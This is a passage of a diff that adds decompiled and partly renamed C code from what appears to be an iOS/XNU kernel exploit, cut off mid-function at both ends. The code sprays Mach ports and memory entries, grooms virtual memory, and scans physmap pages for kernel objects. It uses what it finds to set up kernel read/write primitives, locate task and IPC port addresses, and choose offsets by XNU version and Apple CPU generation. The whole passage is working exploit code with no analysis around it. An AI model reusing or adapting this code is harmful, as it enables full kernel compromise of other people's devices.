+  int8x8_t *v294; // [xsp+A8h] [xbp-10A8h]
+  vm_size_t v295; // [xsp+A8h] [xbp-10A8h]
+  vm_size_t v296; // [xsp+A8h] [xbp-10A8h]
+  vm_size_t v297; // [xsp+A8h] [xbp-10A8h]
+  int8x8_t *__handle; // [xsp+B0h] [xbp-10A0h]
+  uint32_t *__handlea; // [xsp+B0h] [xbp-10A0h]
+  char *__handleb; // [xsp+B0h] [xbp-10A0h]
+  unsigned __int64 __handlec; // [xsp+B0h] [xbp-10A0h]
+  void *__handled; // [xsp+B0h] [xbp-10A0h]
+  unsigned __int64 __handlee; // [xsp+B0h] [xbp-10A0h]
+  struct_krwCtx *krwCtx;
+  char *v304; // [xsp+B8h] [xbp-1098h]
+  unsigned int v305; // [xsp+B8h] [xbp-1098h]
+  vm_size_t size; // [xsp+C0h] [xbp-1090h] BYREF
+  mem_entry_name_port_t object_handle; // [xsp+CCh] [xbp-1084h] BYREF
+  integer_t port_info; // [xsp+D0h] [xbp-1080h] BYREF
+  vm_address_t address; // [xsp+D8h] [xbp-1078h] BYREF
+  mach_msg_header_t name; // [xsp+E0h] [xbp-1070h] BYREF
+  unsigned __int64 v311; // [xsp+100h] [xbp-1050h]
+  vm_address_t v312; // [xsp+110h] [xbp-1040h] BYREF
+  unsigned __int64 v313; // [xsp+118h] [xbp-1038h] BYREF
+  int v314; // [xsp+124h] [xbp-102Ch] BYREF
+  __int64 v315; // [xsp+128h] [xbp-1028h] BYREF
+  __int64 v316; // [xsp+130h] [xbp-1020h] BYREF
+  __int64 v317; // [xsp+138h] [xbp-1018h] BYREF
+  size_t outputStructCnt; // [xsp+140h] [xbp-1010h] BYREF
+  mem_entry_name_port_t v319[2]; // [xsp+148h] [xbp-1008h] BYREF
+  integer_t a1[4]; // [xsp+150h] [xbp-1000h] BYREF
+  __int128 v321; // [xsp+160h] [xbp-FF0h]
+  struct
+  {
+    mach_msg_header_t outputStruct[2]; // [xsp+170h] [xbp-FE0h] BYREF
+    __int128 v323; // [xsp+1A0h] [xbp-FB0h]
+    __int128 v324; // [xsp+1B0h] [xbp-FA0h]
+    __int128 v325; // [xsp+1C0h] [xbp-F90h]
+    __int128 v326; // [xsp+1D0h] [xbp-F80h]
+    __int128 v327; // [xsp+1E0h] [xbp-F70h]
+    __int128 v328; // [xsp+1F0h] [xbp-F60h]
+    __int128 v329; // [xsp+200h] [xbp-F50h]
+    __int128 v330; // [xsp+210h] [xbp-F40h]
+    __int128 v331; // [xsp+220h] [xbp-F30h]
+    __int128 v332; // [xsp+230h] [xbp-F20h]
+    __int128 v333; // [xsp+240h] [xbp-F10h]
+    __int128 v334; // [xsp+250h] [xbp-F00h]
+    __int128 v335; // [xsp+260h] [xbp-EF0h]
+    uint8_t padding[0xE60];
+  } outputScratch;
+#define outputStruct outputScratch.outputStruct
+#define v323 outputScratch.v323
+#define v324 outputScratch.v324
+#define v325 outputScratch.v325
+#define v326 outputScratch.v326
+#define v327 outputScratch.v327
+#define v328 outputScratch.v328
+#define v329 outputScratch.v329
+#define v330 outputScratch.v330
+#define v331 outputScratch.v331
+#define v332 outputScratch.v332
+#define v333 outputScratch.v333
+#define v334 outputScratch.v334
+#define v335 outputScratch.v335
+
+  v4 = x1;
+  v5 = x0;
+  krwCtx = KRWCTX_FROM_UINTPTR(v5);
+  v6 = 708625;
+  _Static_assert(sizeof(outputScratch) == 0xF60, "kext_image_scan_trampoline_0 output scratch size mismatch");
+  address = 0;
+  object_handle = 0;
+  size = vm_page_size;
+  v7 = comm_page_memory_size();
+  *(uint64_t *)(v4 + 8) = v7;
+  *(uint64_t *)(v4 + 0x34E8) = 0x10000000800LL;
+  if ( v7 > 0x400000000LL )
+    return 708616;
+  memory_entry = vm_allocate(mach_task_self_, &address, 0x2000u, 1);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  *(uint64_t *)(v4 + 13464) = address;
+  *(uint64_t *)(v4 + 13472) = 0x2000;
+  *(uint64_t *)&outputStruct[0].msgh_bits = 0;
+  v9 = vm_page_size;
+  memory_entry = vm_map(
+                   mach_task_self_,
+                   (vm_address_t *)&outputStruct[0].msgh_bits,
+                   129 * vm_page_size,
+                   0x1FFFFFFu,
+                   -922746879,
+                   0,
+                   0,
+                   0,
+                   3,
+                   3,
+                   1u);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  *(uint64_t *)(v4 + 13448) = *(uint64_t *)&outputStruct[0].msgh_bits;
+  *(uint64_t *)(v4 + 13456) = vm_page_size + (v9 << 7);
+  for ( i = 3370; i != 3386; ++i )
+  {
+    v13 = mach_reply_port();
+    if ( v13 + 1 < 2 )
+      return 4097;
+    *(uint32_t *)(v4 + 4 * i) = v13;
+    port_info = 1024;
+    memory_entry = mach_port_set_attributes(mach_task_self_, v13, 1, &port_info, 1u);
+    if ( memory_entry )
+      return memory_entry | 0x80000000;
+  }
+  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  *(uint32_t *)(v4 + 13424) = object_handle;
+  v14 = calloc(0x200000u, 4u);
+  if ( !v14 )
+    return 708617;
+  *(uint64_t *)(v4 + 13432) = v14;
+  *(uint32_t *)(v4 + 13440) = 0x200000;
+  *(uint64_t *)&outputStruct[0].msgh_bits = 0;
+  v15 = vm_page_size << 9;
+  memory_entry = vm_allocate(mach_task_self_, (vm_address_t *)&outputStruct[0].msgh_bits, vm_page_size << 9, -872415231);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  v16 = *(void **)&outputStruct[0].msgh_bits;
+  *(uint64_t *)(v4 + 11296) = *(uint64_t *)&outputStruct[0].msgh_bits;
+  *(uint64_t *)(v4 + 11304) = v15;
+  if ( madvise(v16, v15, 3) )
+  {
+LABEL_15:
+    v17 = errno;
+    if ( v17 < 0 )
+      v17 = -v17;
+    return v17 | 0x40000000u;
+  }
+  v18 = -2;
+  do
+  {
+    v18 += 2LL;
+    if ( (v18 & 2) != 0 )
+      v19 = 1;
+    else
+      v19 = 2;
+    if ( madvise((void *)(*(uint64_t *)&outputStruct[0].msgh_bits + vm_page_size * v18), 2 * vm_page_size, v19) )
+      goto LABEL_15;
+  }
+  while ( v18 < 0x1FE );
+  for ( j = 2832; j != 3088; ++j )
+  {
+    name.msgh_bits = 0;
+    memory_entry = mach_port_allocate(mach_task_self_, 1u, &name.msgh_bits);
+    if ( memory_entry )
+      return memory_entry | 0x80000000;
+    msgh_bits = name.msgh_bits;
+    *(uint32_t *)(v4 + 4 * j) = name.msgh_bits;
+    a1[0] = 1024;
+    memory_entry = mach_port_set_attributes(mach_task_self_, msgh_bits, 1, a1, 1u);
+    if ( memory_entry )
+      return memory_entry | 0x80000000;
+  }
+  v260 = (unsigned int *)(v4 + 17988);
+  v22 = *(uint64_t *)(v5 + 344);
+  if ( v22 > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
+  {
+    if ( (*(uint8_t *)v5 & 0x20) != 0 )
+    {
+      v10 = setup_kernel_region_via_flags(krwCtx);
+      if ( (uint32_t)v10 )
+        return v10;
+      v23 = get_iogpu_physmap_base(v5);
+      if ( v23 )
+      {
+        v24 = v23;
+        v25 = getpid();
+        addr_v24 = krw_task_for_pid_0(krwCtx, v24, v25);
+        *(uint64_t *)(v4 + 11280) = addr_v24;
+        goto LABEL_207;
+      }
+      return 163878;
+    }
+    goto LABEL_36;
+  }
+  if ( v22 > XNU_VERSION_PACKED(10002, 2, 12, 1023, 1023) || (v22 >= XNU_VERSION_PACKED(8796, 142, 1, 700, 14) && *(int *)(v5 + 320) < 10002) )
+  {
+LABEL_36:
+    theDict = 68;
+    v262 = 184;
+    v27 = 88;
+    goto LABEL_40;
+  }
+  theDict = 60;
+  v262 = 176;
+  v27 = 80;
+LABEL_40:
+  *(uint64_t *)v271 = v27;
+  arc4random_buf((void *)(v4 + 13584), 8u);
+  arc4random_buf((void *)(v4 + 13592), 8u);
+  v28 = *(uint64_t *)(v4 + 13448);
+  v10 = 708609;
+  if ( !v28 )
+    return v10;
+  v29 = *(uint64_t *)(v4 + 13456);
+  if ( !v29 )
+    return 708609;
+  madvise((void *)(v29 + v28 - vm_page_size), vm_page_size, 3);
+  if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
+  {
+    v57 = 0;
+    v334 = 0u;
+    v335 = 0u;
+    v332 = 0u;
+    v333 = 0u;
+    v330 = 0u;
+    v331 = 0u;
+    v328 = 0u;
+    v329 = 0u;
+    v326 = 0u;
+    v327 = 0u;
+    v324 = 0u;
+    v325 = 0u;
+    v323 = 0u;
+    memset(outputStruct, 0, sizeof(outputStruct));
+    while ( 1 )
+    {
+      v58 = vm_map(
+              mach_task_self_,
+              (vm_address_t *)((char *)&outputStruct[0].msgh_bits + v57),
+              0x2000000u,
+              0x1FFFFFFu,
+              -939524087,
+              0,
+              0,
+              0,
+              3,
+              3,
+              1u);
+      if ( v58 != 3 )
+      {
+        v59 = v58;
+        if ( v58 )
+          goto LABEL_110;
+        if ( madvise(*(void **)((char *)&outputStruct[0].msgh_bits + v57), vm_page_size, 3) )
+          break;
+      }
+      v57 += 8;
+      if ( v57 == 256 )
+      {
+        v59 = 0;
+        goto LABEL_110;
+      }
+    }
+    v59 = 5;
+LABEL_110:
+    for ( k = 0; k != 256; k += 8 )
+    {
+      v61 = *(uint64_t *)((char *)&outputStruct[0].msgh_bits + k);
+      if ( v61 )
+      {
+        vm_deallocate(mach_task_self_, v61, 0x2000000u);
+        *(uint64_t *)((char *)&outputStruct[0].msgh_bits + k) = 0;
+      }
+    }
+    if ( v59 )
+      return v59 | 0x80000000;
+  }
+  v30 = 0;
+  v268 = 0;
+  v304 = 0;
+  v24 = 688;
+  while ( 1 )
+  {
+    get_page_size();
+    if ( *(uint32_t *)v4 != 3 )
+    {
+      v31 = 4;
+LABEL_50:
+      v10 = v31 | 0x80000000;
+      goto LABEL_51;
+    }
+    v31 = kernel_read_loop_physmap(v5, v4, 0x10u, v4 + 688 * v30 + 16);
+    if ( v31 )
+      goto LABEL_50;
+    get_page_size();
+    v294 = (int8x8_t *)(v4 + 688 * v30 + 16);
+    v32 = physmap_read_rebuild_page((uint64_t *)v4, v294);
+    if ( !(uint32_t)v32 )
+      break;
+    v10 = v32;
+LABEL_51:
+    if ( ++v30 == 16 )
+      goto LABEL_205;
+  }
+  v261 = v30;
+  get_page_size();
+  if ( !*(uint32_t *)(v4 + 13440) )
+  {
+    get_page_size();
+LABEL_100:
+    v10 = 708620;
+    goto LABEL_101;
+  }
+  v33 = 0;
+  v264 = *(uint64_t *)(v4 + 13432);
+  v266 = *(unsigned int *)(v4 + 13544);
+  v259 = (mach_port_t *)(v4 + 4 * v30 + 13480);
+  v34 = v4 + 688 * v30;
+  v281 = (unsigned int *)(v34 + 48);
+  v276 = -(int)v266;
+  v10 = 708620;
+  v35 = (uint64_t *)(v4 + 13592);
+  kobject = v34 + 40;
+  do
+  {
+    a1[0] = 0;
+    *(uint64_t *)&name.msgh_bits = vm_page_size;
+    if ( v33 && !((unsigned int)v33 % (unsigned int)v266) )
+    {
+      v36 = *(uint64_t *)(v4 + 13464);
+      if ( (uint32_t)v266 )
+      {
+        v37 = v276;
+        v38 = *(uint32_t **)(v4 + 13464);
+        v39 = v266;
+        do
+        {
+          *v38++ = *(uint32_t *)(v264 + 4LL * v37);
+          *(uint32_t *)(v264 + 4LL * v37++) = 0;
+          --v39;
+        }
+        while ( v39 );
+      }
+      *(uint64_t *)&outputStruct[0].msgh_bits = 0x2C80001514LL;
+      v40 = *v259;
+      *(__int128 *)&outputStruct[0].msgh_local_port = xmmword_42EC0;
+      *(uint64_t *)&outputStruct[1].msgh_size = v36;
+      outputStruct[1].msgh_voucher_port = v266;
+      outputStruct[0].msgh_remote_port = v40;
+      outputStruct[1].msgh_local_port = 34668544;
+      if ( mach_msg(outputStruct, 262161, 0x2Cu, 0, 0, 0, 0) )
+        break;
+    }
+    v41 = v304 ? 67248131 : 67239939;
+    if ( mach_make_memory_entry(mach_task_self_, (vm_size_t *)&name.msgh_bits, 0, v41, (mem_entry_name_port_t *)a1, 0) )
+      break;
+    value = v33;
+    *(uint32_t *)(v264 + 4LL * (uint64_t)v33) = a1[0];
+    v42 = *v281;
+    if ( !*v281 )
+      goto LABEL_92;
+    v43 = 0;
+    v45 = (int8x8_t *)kobject;
+    v44 = v294;
+    v46 = *(int8x8_t *)kobject;
+    while ( 1 )
+    {
+      v47 = 1LL << v43;
+      if ( ((1LL << v43) & *(uint64_t *)&v46) != 0 )
+        goto LABEL_89;
+      v48 = (uint64_t *)(*(uint64_t *)v44 + vm_page_size * v43);
+      if ( *v48 == *v35 )
+        goto LABEL_89;
+      if ( vm_page_size )
+        break;
+LABEL_88:
+      *(uint64_t *)&v46 |= v47;
+      *v45 = v46;
+      v10 = 708625;
+LABEL_89:
+      if ( ++v43 >= (unsigned __int64)v42 )
+        goto LABEL_93;
+    }
+    v49 = 0;
+    v50 = 0;
+    v51 = theDict;
+    while ( 1 )
+    {
+      v52 = (char *)v48 + v49;
+      v53 = *(uint32_t *)((char *)v48 + v49 + 40);
+      if ( v53 > 0x80 )
+      {
+LABEL_87:
+        v46 = *v45;
+        v35 = (uint64_t *)(v4 + 13592);
+        v42 = *v281;
+        goto LABEL_88;
+      }
+      if ( *(uint32_t *)v52 && *(uint32_t *)v52 == *((uint32_t *)v52 + 1) )
+      {
+        v54 = *((unsigned __int8 *)v52 + v51) != 128 && v53 == 1;
+        if ( v54 && *((uint64_t *)v52 + 3) == *(uint64_t *)&name.msgh_bits )
+          break;
+      }
+LABEL_86:
+      v50 += *(uint32_t *)(v4 + 13548);
+      v49 = v50;
+      if ( vm_page_size <= v50 )
+        goto LABEL_87;
+    }
+    if ( v304 )
+    {
+      v268 = *(uint64_t *)&v52[*(uint64_t *)v271];
+      if ( validate_kaddr_range(v5, v268) )
+      {
+        v10 = 0;
+        *(uint64_t *)kobject |= 1LL << v43;
+        break;
+      }
+      goto LABEL_85;
+    }
+    v55 = *(uint64_t *)&v52[v262];
+    if ( !validate_kaddr_range(v5, v55) )
+    {
+      v304 = 0;
+      v51 = theDict;
+LABEL_85:
+      v45 = (int8x8_t *)kobject;
+      v44 = v294;
+      v47 = 1LL << v43;
+      goto LABEL_86;
+    }
+    *(uint32_t *)(v264 + 4LL * (uint64_t)value) = 0;
+    *(uint32_t *)(v4 + 13552) = a1[0];
+    *(uint64_t *)(v4 + 13560) = v55 - v262;
+    v42 = *v281;
+    v10 = 708625;
+    v304 = v52;
+    v35 = (uint64_t *)(v4 + 13592);
+LABEL_92:
+    v45 = (int8x8_t *)kobject;
+LABEL_93:
+    v56 = (uint8x8_t)vcnt_s8(*v45);
+    v56.i16[0] = vaddlv_u8(v56);
+    if ( v42 == v56.i32[0] )
+      break;
+    v33 = (char *)value + 1;
+    ++v276;
+  }
+  while ( (unsigned __int64)value + 1 < *(unsigned int *)(v4 + 13440) );
+  get_page_size();
+  if ( (uint32_t)v10 == 708620 )
+    goto LABEL_100;
+  if ( (uint32_t)v10 == 708625 )
+  {
+LABEL_101:
+    v30 = v261;
+    v24 = 688;
+    goto LABEL_51;
+  }
+  *(uint64_t *)(v4 + 11280) = v268;
+  if ( !validate_kaddr_range(v5, v268) )
+    return 163878;
+  v62 = (unsigned int)v261;
+  while ( 2 )
+  {
+    v63 = (int8x8_t *)(v4 + 688 * v62);
+    v65 = v63[2];
+    v64 = v63 + 2;
+    if ( !*(uint64_t *)&v65 || !*(uint64_t *)(v4 + 688 * v62 + 24) )
+    {
+      get_page_size();
+      if ( *(uint32_t *)v4 == 3 )
+      {
+        v70 = kernel_read_loop_physmap(v5, v4, 0x10u, (__int64)v64);
+        if ( !v70 )
+        {
+          get_page_size();
+          v71 = physmap_read_rebuild_page((uint64_t *)v4, v64);
+          if ( !(uint32_t)v71 )
+          {
+            get_page_size();
+            v67 = *(uint32_t *)(v4 + 688 * v62 + 48);
+            goto LABEL_134;
+          }
+          v10 = v71;
+LABEL_128:
+          v69 = 41;
+          goto LABEL_129;
+        }
+      }
+      else
+      {
+        v70 = 4;
+      }
+      v10 = v70 | 0x80000000;
+      goto LABEL_128;
+    }
+    v66 = (int8x8_t *)(v4 + 688 * v62);
+    v67 = v66[6].u32[0];
+    v68 = (uint8x8_t)vcnt_s8(v66[5]);
+    v68.i16[0] = vaddlv_u8(v68);
+    if ( v67 == v68.i32[0] )
+    {
+      v69 = 41;
+      v10 = 708625;
+      goto LABEL_129;
+    }
+LABEL_134:
+    if ( v67 <= 0x40 )
+    {
+      if ( *(uint64_t *)(v5 + 344) >> 43 < 0x44Bu )
+        v72 = 0;
+      else
+        v72 = *(uint32_t *)(v5 + 384) % 0x50u;
+      v282 = *(uint64_t *)(v4 + 11304) + *(uint64_t *)(v4 + 11296);
+      theDicta = *(CFMutableDictionaryRef *)(v4 + 11296);
+      v73 = vm_page_shift;
+      kobject = v4 + 688 * v62 + 48;
+      __handle = (int8x8_t *)(v4 + 688 * v62 + 40);
+      LODWORD(v74) = *(uint32_t *)(v4 + 12352);
+      do
+      {
+        if ( (unsigned int)v74 > 0xFF )
+        {
+LABEL_195:
+          v10 = 708620;
+          goto LABEL_196;
+        }
+        v75 = (unsigned int)v74 + 3089LL;
+        while ( *(uint32_t *)(v4 + 4 * v75) >= 0x400u )
+        {
+          if ( (uint32_t)++v75 == 3345 )
+            goto LABEL_195;
+        }
+        v76 = v75 - 3089;
+        *(uint32_t *)(v4 + 12352) = v76;
+        *(uint64_t *)&outputStruct[0].msgh_bits = 0x2C80000014LL;
+        v77 = *(uint32_t *)(v4 + 11296 + 4LL * v76 + 32);
+        *(__int128 *)&outputStruct[0].msgh_local_port = xmmword_42EC0;
+        outputStruct[1].msgh_voucher_port = *(uint64_t *)(v4 + 11304);
+        *(uint64_t *)&outputStruct[1].msgh_size = *(uint64_t *)(v4 + 11296);
+        outputStruct[0].msgh_remote_port = v77;
+        outputStruct[1].msgh_local_port = 16777472;
+        v78 = mach_msg(outputStruct, 262161, 0x2Cu, 0, 0, 0, 0);
+        if ( v78 )
+        {
+          v10 = v78 | 0x80000000;
+          goto LABEL_196;
+        }
+        v74 = *(unsigned int *)(v4 + 12352);
+        ++*(uint32_t *)(v4 + 4 * v74 + 12356);
+        v79 = *(unsigned int *)kobject;
+        if ( (uint32_t)v79 )
+        {
+          v80 = 0;
+          v81 = (vm_size_t)theDicta + 4 * vm_page_size;
+          v82 = v282 - 4 * vm_page_size;
+          v83 = *__handle;
+          do
+          {
+            v84 = 1LL << v80;
+            if ( ((1LL << v80) & *(uint64_t *)&v83) == 0 )
+            {
+              v85 = (uint64_t *)(*(uint64_t *)v64 + (unsigned int)((uint32_t)v80 << v73));
+              if ( *v85 != *(uint64_t *)(v4 + 13592) )
+              {
+                v86 = *(uint32_t *)(v5 + 384);
+                if ( v72 < v86 )
+                {
+                  for ( m = v72; m < v86; m += 80 )
+                  {
+                    v88 = (uint64_t *)((char *)v85 + m);
+                    v89 = *v88;
+                    if ( (unsigned __int64)(*v88 - 1) < 0xFFFEFFFFFFFFFFFFLL )
+                      break;
+                    if ( (v88[8] & 0xFFF) == 0xCC )
+                    {
+                      v90 = v88[2];
+                      if ( v90 > v81 && v88[3] <= v82 )
+                      {
+                        v91 = (char *)v85 + (*(uint64_t *)(v5 + 392) & v89);
+                        if ( *((uint64_t *)v91 + 3) == v90 )
+                        {
+                          *(uint64_t *)(v4 + 13408) = v89;
+                          *(uint64_t *)(v4 + 13392) = *((uint64_t *)v91 + 1);
+                          *(uint64_t *)(v4 + 13384) = v88;
+                          *(uint64_t *)(v4 + 13400) = v91;
+                          *__handle = (int8x8_t){ .u64 = { v84 | *(uint64_t *)&v83 } };
+                          v94 = check_physmap_page_count((uint32_t *)v4, (__int64)v64);
+                          if ( (uint32_t)v94 )
+                          {
+                            v10 = v94;
+                            goto LABEL_196;
+                          }
+                          v283 = *(unsigned int *)(v4 + 12352);
+                          if ( (v283 & 0x80000000) != 0 )
+                          {
+LABEL_184:
+                            v98 = 0;
+LABEL_188:
+                            v102 = 1;
+                          }
+                          else
+                          {
+                            theDictb = *(CFMutableDictionaryRef *)(v4 + 13384);
+                            while ( 1 )
+                            {
+                              v95 = v4 + 4 * v283;
+                              if ( *(uint32_t *)(v95 + 12356) )
+                                break;
+LABEL_182:
+                              v226 = v283-- <= 0;
+                              if ( v226 )
+                                goto LABEL_184;
+                            }
+                            __handlea = (uint32_t *)(v95 + 12356);
+                            kobject = v95 + 11328;
+                            while ( 1 )
+                            {
+                              v96 = *(uint32_t *)kobject;
+                              LODWORD(v323) = 0;
+                              memset(outputStruct, 0, sizeof(outputStruct));
+                              v97 = mach_msg(outputStruct, 2, 0, 0x34u, v96, 0, 0);
+                              if ( v97 )
+                              {
+                                v98 = v97 | 0x80000000;
+                                goto LABEL_188;
+                              }
+                              v98 = 163885;
+                              if ( (outputStruct[0].msgh_bits & 0x80000000) == 0 )
+                                goto LABEL_187;
+                              if ( outputStruct[1].msgh_bits != 1 )
+                                goto LABEL_187;
+                              v98 = 163886;
+                              if ( HIBYTE(outputStruct[1].msgh_local_port) != 1 )
+                                goto LABEL_187;
+                              v99 = *(uint64_t *)&outputStruct[1].msgh_size;
+                              if ( !*(uint64_t *)&outputStruct[1].msgh_size )
+                                goto LABEL_187;
+                              msgh_voucher_port = outputStruct[1].msgh_voucher_port;
+                              if ( !outputStruct[1].msgh_voucher_port )
+                              {
+                                v98 = 163886;
+LABEL_187:
+                                mach_msg_destroy(outputStruct);
+                                goto LABEL_188;
+                              }
+                              *(uint64_t *)&outputStruct[1].msgh_size = 0;
+                              outputStruct[1].msgh_voucher_port = 0;
+                              mach_msg_destroy(outputStruct);
+                              v101 = *((uint64_t *)theDictb + 2);
+                              --*__handlea;
+                              if ( v101 >= v99 && v101 < msgh_voucher_port + v99 )
+                                break;
+                              vm_deallocate(mach_task_self_, v99, msgh_voucher_port);
+                              if ( !*__handlea )
+                                goto LABEL_182;
+                            }
+                            v102 = 0;
+                            v98 = 0;
+                            *(uint64_t *)(v4 + 11312) = v99;
+                            *(uint64_t *)(v4 + 11320) = msgh_voucher_port;
+                          }
+                          if ( ((unsigned __int8)v102 & (v98 == 0)) != 0 )
+                            v10 = 708625;
+                          else
+                            v10 = v98;
+                          if ( (uint32_t)v10 != 708625 )
+                          {
+                            if ( !(uint32_t)v10 )
+                              *(uint64_t *)(v4 + 11288) = v304;
+                            goto LABEL_196;
+                          }
+                          goto LABEL_128;
+                        }
+                      }
+                    }
+                  }
+                }
+                *(uint64_t *)&v83 |= v84;
+                *__handle = v83;
+              }
+            }
+            ++v80;
+          }
+          while ( v80 != v79 );
+        }
+        else
+        {
+          v83 = *__handle;
+        }
+        v92 = (uint8x8_t)vcnt_s8(v83);
+        v92.i16[0] = vaddlv_u8(v92);
+      }
+      while ( (uint32_t)v79 != v92.i32[0] );
+      v93 = check_physmap_page_count((uint32_t *)v4, (__int64)v64);
+      if ( v93 )
+        v69 = 40;
+      else
+        v69 = 41;
+      if ( v93 )
+        v10 = v93;
+      else
+        v10 = 708625;
+LABEL_129:
+      if ( v69 == 40 )
+        goto LABEL_196;
+      v257 = v62++ >= 0xF;
+      if ( v257 )
+        goto LABEL_196;
+      continue;
+    }
+    break;
+  }
+  v10 = 708609;
+LABEL_196:
+  v103 = *(uint32_t *)(v4 + 13440);
+  if ( v103 )
+  {
+    v104 = 0;
+    v105 = *(uint64_t *)(v4 + 13432);
+    do
+    {
+      v106 = *(uint32_t *)(v105 + 4 * v104);
+      if ( v106 + 1 >= 2 )
+      {
+        mach_port_deallocate(mach_task_self_, v106);
+        v105 = *(uint64_t *)(v4 + 13432);
+        *(uint32_t *)(v105 + 4 * v104) = 0;
+        v103 = *(uint32_t *)(v4 + 13440);
+      }
+      ++v104;
+    }
+    while ( v104 < v103 );
+  }
+  v107 = 0;
+  v24 = v4 + 13480;
+  do
+  {
+    v108 = *(uint32_t *)(v24 + v107);
+    if ( v108 + 1 >= 2 )
+    {
+      mach_port_mod_refs(mach_task_self_, v108, 1u, -1);
+      *(uint32_t *)(v24 + v107) = 0;
+    }
+    v107 += 4;
+  }
+  while ( v107 != 64 );
+LABEL_205:
+  if ( (uint32_t)v10 )
+    return v10;
+  *(uint64_t *)(v5 + 80) = v4;
+  *(uint64_t *)(v5 + 48) = ioconnect_kread_physmap;
+  addr_v24 = *(uint64_t *)(v4 + 11280);
+LABEL_207:
+  v305 = 163855;
+  v10 = 163878;
+  if ( !validate_kaddr_range(v5, addr_v24) )
+    return v10;
+  v109 = kreadptr(krwCtx, addr_v24);
+  if ( !v109 )
+    return v10;
+  *(uint64_t *)(v5 + 416) = v109;
+  v110 = mach_host_self();
+  ipc_port = task_self_get_ipc_port(krwCtx, v110);
+  if ( !ipc_port )
+    return 163854;
+  *(uint64_t *)(v5 + 424) = ipc_port;
+  v112 = 24;
+  if ( *(int *)(v5 + 320) <= 8791 )
+    v113 = 24;
+  else
+    v113 = 16;
+  if ( *(int *)(v5 + 320) <= 8791 )
+    v114 = 104;
+  else
+    v114 = 96;
+  if ( *(int *)(v5 + 320) <= 8791 )
+    v112 = 16;
+  v295 = v112;
+  v115 = read_kaddr_at_task_offset(krwCtx, addr_v24);
+  if ( !v115 )
+    return 163878;
+  if ( !kread_physmap_decorated(krwCtx, v113 + v115, (unsigned __int64 *)&outputStruct[0].msgh_bits) )
+    return v305;
+  v116 = *(uint64_t *)&outputStruct[0].msgh_bits;
+  if ( !*(uint64_t *)&outputStruct[0].msgh_bits )
+    return 708625;
+  LODWORD(v10) = 708625;
+  while ( 1 )
+  {
+    if ( !validate_kaddr_range(v5, v116) )
+      goto LABEL_246;
+    if ( !kread_u32(v5, *(uint64_t *)&outputStruct[0].msgh_bits + v114, a1) )
+      goto LABEL_245;
+    if ( a1[0] )
+    {
+      v117 = *(uint64_t *)&outputStruct[0].msgh_bits;
+      goto LABEL_228;
+    }
+    if ( !kread_physmap_decorated(
+            krwCtx,
+            *(uint64_t *)&outputStruct[0].msgh_bits + v113,
+            (unsigned __int64 *)&name.msgh_bits) )
+      goto LABEL_245;
+    v117 = *(uint64_t *)&outputStruct[0].msgh_bits;
+    if ( *(uint64_t *)&outputStruct[0].msgh_bits == *(uint64_t *)&name.msgh_bits )
+      break;
+LABEL_228:
+    v118 = kread_physmap_decorated(krwCtx, v117 + v113, (unsigned __int64 *)&outputStruct[0].msgh_bits);
+    if ( v118 )
+      v10 = (unsigned int)v10;
+    else
+      v10 = 163855;
+    if ( v118 )
+    {
+      v116 = *(uint64_t *)&outputStruct[0].msgh_bits;
+      if ( *(uint64_t *)&outputStruct[0].msgh_bits )
+        continue;
+    }
+    goto LABEL_247;
+  }
+  if ( !kread_physmap_decorated(
+          krwCtx,
+          *(uint64_t *)&outputStruct[0].msgh_bits + v295,
+          (unsigned __int64 *)&name.msgh_bits) )
+    goto LABEL_245;
+  if ( !validate_kaddr_range(v5, *(__int64 *)&name.msgh_bits) )
+    goto LABEL_246;
+  if ( *(int *)(v5 + 320) < 8792 )
+  {
+LABEL_244:
+    v10 = 0;
+    v24 = *(uint64_t *)&name.msgh_bits;
+    goto LABEL_247;
+  }
+  if ( kread_physmap_decorated(krwCtx, *(uint64_t *)&name.msgh_bits + 8LL, (unsigned __int64 *)&name.msgh_bits) )
+  {
+    if ( validate_kaddr_range(v5, *(__int64 *)&name.msgh_bits) )
+      goto LABEL_244;
+LABEL_246:
+    v10 = 163878;
+  }
+  else
+  {
+LABEL_245:
+    v10 = 163855;
+  }
+LABEL_247:
+  if ( (uint32_t)v10 )
+    return v10;
+  *(uint64_t *)(v5 + 6616) = v24;
+  v10 = check_iogpu_krw_ready_type2(krwCtx, 0, *(uint64_t *)(v5 + 424), (unsigned __int64 *)(v5 + 6608));
+  if ( (uint32_t)v10 )
+    return v10;
+  v10 = init_pgtable_walk_ctx(v5, 0);
+  if ( (uint32_t)v10 )
+    return v10;
+  v120 = *(uint64_t *)(v5 + 344);
+  if ( v120 > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
+  {
+    if ( (*(uint8_t *)v5 & 0x20) != 0 )
+    {
+      v10 = free_iogpu_krw_ctx(krwCtx);
+      if ( (uint32_t)v10 )
+        return v10;
+      v10 = krw_read_validation(krwCtx, 0);
+      if ( (uint32_t)v10 )
+        return v10;
+      *(uint64_t *)(v5 + 48) = 0;
+      v10 = krw_write_validation(krwCtx);
+      if ( (uint32_t)v10 )
+        return v10;
+      v121 = (uint64_t *)(v5 + 64);
+      goto LABEL_256;
+    }
+    goto LABEL_372;
+  }
+  if ( v120 > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023)
+    || (v120 >= XNU_VERSION_PACKED(8796, 102, 5, 0, 0) && ((*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 || (*(uint32_t *)v5 & 1) != 0)) )
+  {
+LABEL_372:
+    v319[0] = 0;
+    v174 = vm_page_size;
+    *(uint64_t *)&outputStruct[0].msgh_bits = vm_page_size;
+    *(uint64_t *)&name.msgh_bits = 0;
+    memory_entry = mach_make_memory_entry(mach_task_self_, (vm_size_t *)&outputStruct[0].msgh_bits, 0, 131075, v319, 0);
+    if ( !memory_entry )
+    {
+      v175 = get_task_kobject_addr(krwCtx, v319[0]);
+      v10 = 163878;
+      if ( !v175 )
+        return v10;
+      v176 = v175;
+      v177 = kaddr_to_phys_v1(v5, v175);
+      if ( !v177 )
+        return v10;
+      v178 = v177;
